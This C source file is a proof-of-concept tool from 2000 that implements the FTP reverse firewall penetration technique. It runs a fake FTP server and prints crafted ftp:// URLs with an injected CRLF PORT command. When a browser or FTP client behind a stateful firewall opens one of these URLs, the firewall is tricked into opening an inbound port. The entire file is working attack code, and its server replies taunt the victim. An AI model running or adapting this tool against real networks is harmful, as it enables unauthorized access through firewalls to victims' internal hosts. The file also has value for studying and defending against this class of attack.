/*
  ftpd-ozone.c

  Demonstrate the FTP reverse firewall penetration technique
  outlined by Mikael Olsson, EnterNet Sweden AB.

  Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
  
  Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define WINDOW_LEN	42
#define FTPD_PORT	21

#define GREEN		"\033[0m\033[01m\033[32m"
#define OFF		"\033[0m"

#define int_ntoa(x)	(inet_ntoa(*(struct in_addr *)&x))

void
usage(void)
{
  fprintf(stderr, "Usage: ftpd-ozone [-w win] <ftp-client> <port-to-open>\n");
  exit(1);
}

/* Strip telnet options, as well as suboption data. */
int
strip_telopts(u_char *buf, int len)
{
  int i, j, subopt = 0;
  char *p;
  
  for (i = j = 0; i < len; i++) {
    if (buf[i] == IAC) {
      if (++i >= len) break;
      else if (buf[i] > SB)
	i++;
      else if (buf[i] == SB) {
	p = buf + i + 1;
	subopt = 1;
      }
      else if (buf[i] == SE) {
	if (!subopt) j = 0;
	subopt = 0;
      }
    }
    else if (!subopt) {
      /* XXX - convert isolated carriage returns to newlines. */
      if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
	buf[j++] = '\n';
      /* XXX - strip binary nulls. */
      else if (buf[i] != '\0')
	buf[j++] = buf[i];
    }
  }
  buf[j] = '\0';
  
  return (j);
}

u_long
resolve_host(char *host)
{
  u_long addr;
  struct hostent *hp;
  
  if (host == NULL) return (0);
  
  if ((addr = inet_addr(host)) == -1) {
    if ((hp = gethostbyname(host)) == NULL)
      return (0);
    memcpy((char *)&addr, hp->h_addr, sizeof(addr));
  }
  return (addr);
}

#define UC(b)	(((int)b)&0xff)

int
portnum2str(char *buf, int size, u_long ip, u_short port)
{
  char *p, *q;

  port = htons(port);
  p = (char *)&ip;
  q = (char *)&port;
  
  return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
		   UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
		   UC(q[0]), UC(q[1])));
}

int
portstr2num(char *str, u_long *dst, u_short *dport)
{
  int a0, a1, a2, a3, p0, p1;
  char *a, *p;

  if (str[0] == '(') str++;
  strtok(str, ")\r\n");
  
  if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
    return (-1);

  a = (char *)dst;
  a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
  
  p = (char *)dport;
  p[0] = p0 & 0xff; p[1] = p1 & 0xff;

  *dport = ntohs(*dport);
  
  return (0);
}

void
print_urls(u_long dst, u_short dport, int win)
{
  char *p, host[128], tmp[128];
  u_long ip;
  
  gethostname(host, sizeof(host));
  ip = resolve_host(host);
  strncpy(host, int_ntoa(ip), sizeof(host));

  /* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
  win -= (4 + 2 + 2);
  p = malloc(win + 1);
  memset(p, 'a', win);
  p[win] = '\0';

  portnum2str(tmp, sizeof(tmp), dst, dport);
  
  printf("Netscape / Lynx URL to send client at %s:\n"
	 "ftp://%s/%s%%0d%%0aPORT%%20%s\n",
	 int_ntoa(dst), host, p, tmp);
  printf("MSIE / Wget URL to send client at %s:\n"
	 "ftp://%s/a%s%%0d%%0aPORT%%20%s\n",
	 int_ntoa(dst), host, p, tmp);
  
  free(p);
}

int
init_ftpd(int port, int win)
{
  int fd, i = 1;
  struct sockaddr_in sin;
  
  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    return (-1);

  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
    return (-1);

  if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
    return (-1);
  
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_port = htons(port);
  
  if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    return (-1);
  if (listen(fd, 10) == -1)
    return (-1);

  return (fd);
}

void
do_ftpd(int fd)
{
  FILE *f;
  char buf[1024];
  int len, portcmd = 0;
  u_long ip;
  u_short port;

  if ((f = fdopen(fd, "r+")) == NULL)
    return;

  fprintf(f, "220 ftpd-ozone ready for love.\r\n");
  
  while (fgets(buf, sizeof(buf), f) != NULL) {
    if ((len = strip_telopts(buf, strlen(buf))) == 0)
      continue;
    
    if (strncasecmp(buf, "SYST", 4) == 0) {
      fprintf(f, "215 ftpd-ozone\r\n");
    }
    else if (strncasecmp(buf, "USER ", 5) == 0) {
      fprintf(f, "331 yo there\r\n");
    }
    else if (strncasecmp(buf, "PASS ", 5) == 0) {
      fprintf(f, "230 sucker\r\n");
    }
    else if (strncasecmp(buf, "PWD", 3) == 0) {
      fprintf(f, "257 \"/\" is current directory\r\n");
    }
    else if (strncasecmp(buf, "PASV", 4) == 0) {
      fprintf(f, "502 try PORT instead ;-)\r\n");
      /*fprintf(f, "425 try PORT instead ;-)\r\n");*/
    }
    else if (strncasecmp(buf, "PORT ", 5) == 0) {
      if (portstr2num(buf + 5, &ip, &port) != 0)
	fprintf(f, "500 you suk\r\n");
      else {
	fprintf(f, "200 ready for love\r\n");
	if (portcmd++ < 2)	/* XXX */
	  printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
      }
    }
    else if (strncasecmp(buf, "CWD ", 4) == 0 ||
	     strncasecmp(buf, "TYPE ", 5) == 0) {
      fprintf(f, "200 whatever\r\n");
    }
    else if (strncasecmp(buf, "NLST", 4) == 0) {
      fprintf(f, "550 you suk\r\n");
    }
    else if (strncasecmp(buf, "MDTM ", 5) == 0) {
      fprintf(f, "213 19960319165527\r\n");
    }
    else if (strncasecmp(buf, "RETR ", 5) == 0 ||
	     strncasecmp(buf, "LIST", 4) == 0) {
      fprintf(f, "150 walking thru your firewall\r\n");
    }
    else if (strncasecmp(buf, "QUIT", 4) == 0) {
      fprintf(f, "221 l8r\r\n");
      break;
    }
    else fprintf(f, "502 i suk\r\n");
  }
  fclose(f);
}

int
main(int argc, char *argv[])
{
  int c, sfd, cfd;
  u_long dst;
  u_short dport, win = WINDOW_LEN;
  struct sockaddr_in sin;

  while ((c = getopt(argc, argv, "w:h?")) != -1) {
    switch (c) {
    case 'w':
      if ((win = atoi(optarg)) == 0)
	usage();
      break;
    default:
      usage();
    }
  }
  argc -= optind;
  argv += optind;
  
  if (argc != 2)
    usage();

  if ((dst = resolve_host(argv[0])) == 0)
    usage();
  
  if ((dport = atoi(argv[1])) == 0)
    usage();

  if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
    perror("init_ftpd");
    exit(1);
  }
  print_urls(dst, dport, win);
  
  for (;;) {
    c = sizeof(sin);
    if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
      perror("accept");
      exit(1);
    }
    printf("connection from %s\n", inet_ntoa(sin.sin_addr));
      
    if (fork() == 0) {
      close(sfd);
      do_ftpd(cfd);
      close(cfd);
      exit(0);
    }
    close(cfd);
  }
  exit(0);
}

/* w00w00! */